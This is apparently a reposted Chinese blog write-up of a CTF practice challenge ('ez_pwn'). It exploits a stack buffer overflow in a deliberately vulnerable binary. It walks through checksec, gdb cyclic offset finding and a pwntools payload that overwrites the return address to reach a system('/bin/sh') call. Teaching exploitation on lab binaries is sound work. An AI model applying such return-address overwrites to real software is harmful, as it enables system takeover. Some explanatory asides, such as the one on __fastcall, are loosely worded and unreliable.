简单的PWN堆栈溢出的尝试
2023-6-20 18:40:4 Author: 轩公子谈技术(查看原文) 阅读量:5 收藏

Pwn是一个黑客术语,意思是成功攻击或控制了一个计算机系统或网络。它通常用于描述黑客攻击成功的感觉,类似于“我已经pwn了这个系统”。在计算机安全领域,pwn也可以指代一种攻击技术,例如pwn漏洞,指的是利用软件漏洞来获取系统控制权的攻击技术。

栈溢出(Stack Overflow)是一种常见的计算机安全漏洞,它通常发生在程序使用栈来存储局部变量、函数参数和返回地址时。当程序向栈中写入数据时,如果写入的数据超出了栈的边界,就会覆盖到其他数据,包括函数返回地址等重要信息,从而导致程序崩溃或被攻击者利用。

攻击者可以通过精心构造的输入数据,向程序中注入恶意代码,从而控制程序的执行流程,例如执行任意代码、获取敏感信息等。栈溢出漏洞是一种非常危险的漏洞,因为它可以被利用来绕过程序的安全机制,从而导致系统被攻击者完全控制。为了防止栈溢出漏洞,程序员需要注意编写安全的代码,例如使用安全的函数、检查输入数据的长度等。

这是一道2018年西电CTF线下赛的一道ez_pwn的小题目,该题目为堆栈溢出漏洞的利用1

本次实验环境为 ubuntu 20.0.4  

使用工具:GDB    pwngdb

首先分析文件大致情况

checksec ez_pwn

     Arch: amd64-64-little 表示该二进制文件是 64 位
    RELRO: Partial RELRO 表示通过可重定位只读(RELRO)技术对代码进行了一定程度的保护,但仍存在某些攻击方式可以绕过此保护。
    Stack: No canary found 表示堆栈未启用栈保护机制,例如栈破坏保护(Stack Canary)等。
    NX: NX disabled 表示二进制文件的内存页没有启用不可执行(NX)标志,允许代码在栈或堆上执行。
    PIE: No PIE (0x400000) 表示二进制文件在运行时地址固定,没有启用位置无关性(PIE)标志。
    RWX: Has RWX segments 表示二进制文件中存在可读写可执行的内存段,是一个很容易受到攻击的弱点。

使用ida pro打开程序,注意,需要使用64位的ida pro

点击main函数,然后按F5看伪代码就行

代码结构简单,程序运行首先会让你输入一个参数,233跳到sub_400726()函数,666跳到sub_400737()函数,5438跳到sub_400748(5438LL)函数

前两个函数没有什么实际内容,我们直接看最后一个函数
__fastcall是一个函数调用约定,它通过CPU寄存器传递参数。他用EAX和EDX传送前两个双字,剩下的参数从左至右入栈,函数自身清理堆栈,返回值在EAX中(这个是在32位下,64位请自行脑补),简单说一下这个,就是它可以自己清理堆栈,但是又不会释放堆栈,如果堆栈被重复利用的话可能会导致堆栈溢出

这个里面有一个system()函数,但是他是不能直接用的,因为他需要传递参数233的时候才能执行,但是传递只有传递的参数为5438的时候才能进入到sub_400748(int a1)这个函数里面,所以这里就需要利用堆栈溢出的漏洞来做

我们可以看到,在这段代码中存在栈溢出漏洞,因为 read 函数没有限制输入字符串的长度,而 buf 变量只有 0x50(80)个字节大小,如果用户输入的字符串超过了这个长度,就会导致栈溢出,覆盖掉其他重要的数据,但是很奇怪,笔者尝试实际上输入32个字节的内容就会造成溢出的情况

我们知道栈溢出是由于read()函数没有限制用户输入的字符长度引起的,所以我们在做动态调试的时候,需要知道read()函数的位置,好下断点 0x40077D

我们使用gdb对其进行动态调试,这样的话不需要静态分析偏移量
gdb ./ez_pwn 

打断点 

r  运行至断点处

cyclic 512  生成512个字符串

ni  执行下一步,将字符串复制粘贴进去

忽略报错

ni执行下一步,而后一直按回车,直到看到rsp寄存器为止(或者一直运行到程序不动)

使用cyclic -l faaaaaaa   查看rsp寄存器偏移量,需要注意的是,cyclic -l 指定的是8个字节,所以需要将rsp寄存器的值取前8位

此时我们得到,当前rsp寄存器的偏移量为40
下一步就是直接找到system执行函数里面的 /bin/sh的寄存器地址  4007A1

写python脚本如下

from pwn import *:导入 Pwntools 库。    p = process('./ez_pwn'):创建新进程并执行 ./ez_pwn 可执行文件。
p.recv():接收来自程序的输出。 p.sendline('5438'):向程序发送数据,此处为字符串 '5438',其作用是向程序提供输入。 p.recv():接收来自程序的输出。 gdb.attach(p,'b *0x400782\nc'):使用 gdb 调试器附加到进程 p 上,并设置断点(在地址 0x400782 处)和继续运行程序。 payload = b'A'*40+p64(0x4007A1):构造缓冲区溢出的 payload,其中包括 40 个字节的 'A' 和地址 0x4007A1 p.sendline(payload):向程序发送 payload。 p.interactive():将控制台交互转移到用户,以便用户手动与程序进行交互。

直接运行该脚本,成功栈溢出并执行系统命令


文章来源: http://mp.weixin.qq.com/s?__biz=MzU3MDg2NDI4OA==&mid=2247488211&idx=1&sn=422c340cef05a7a923dfa606d1198e8b&chksm=fce9b51ccb9e3c0abe0de6df80322a18571b4bb83d5cb3317a2b5e9cbde5edb9f62da4aab8b4#rd
如有侵权请联系:admin#unsafe.sh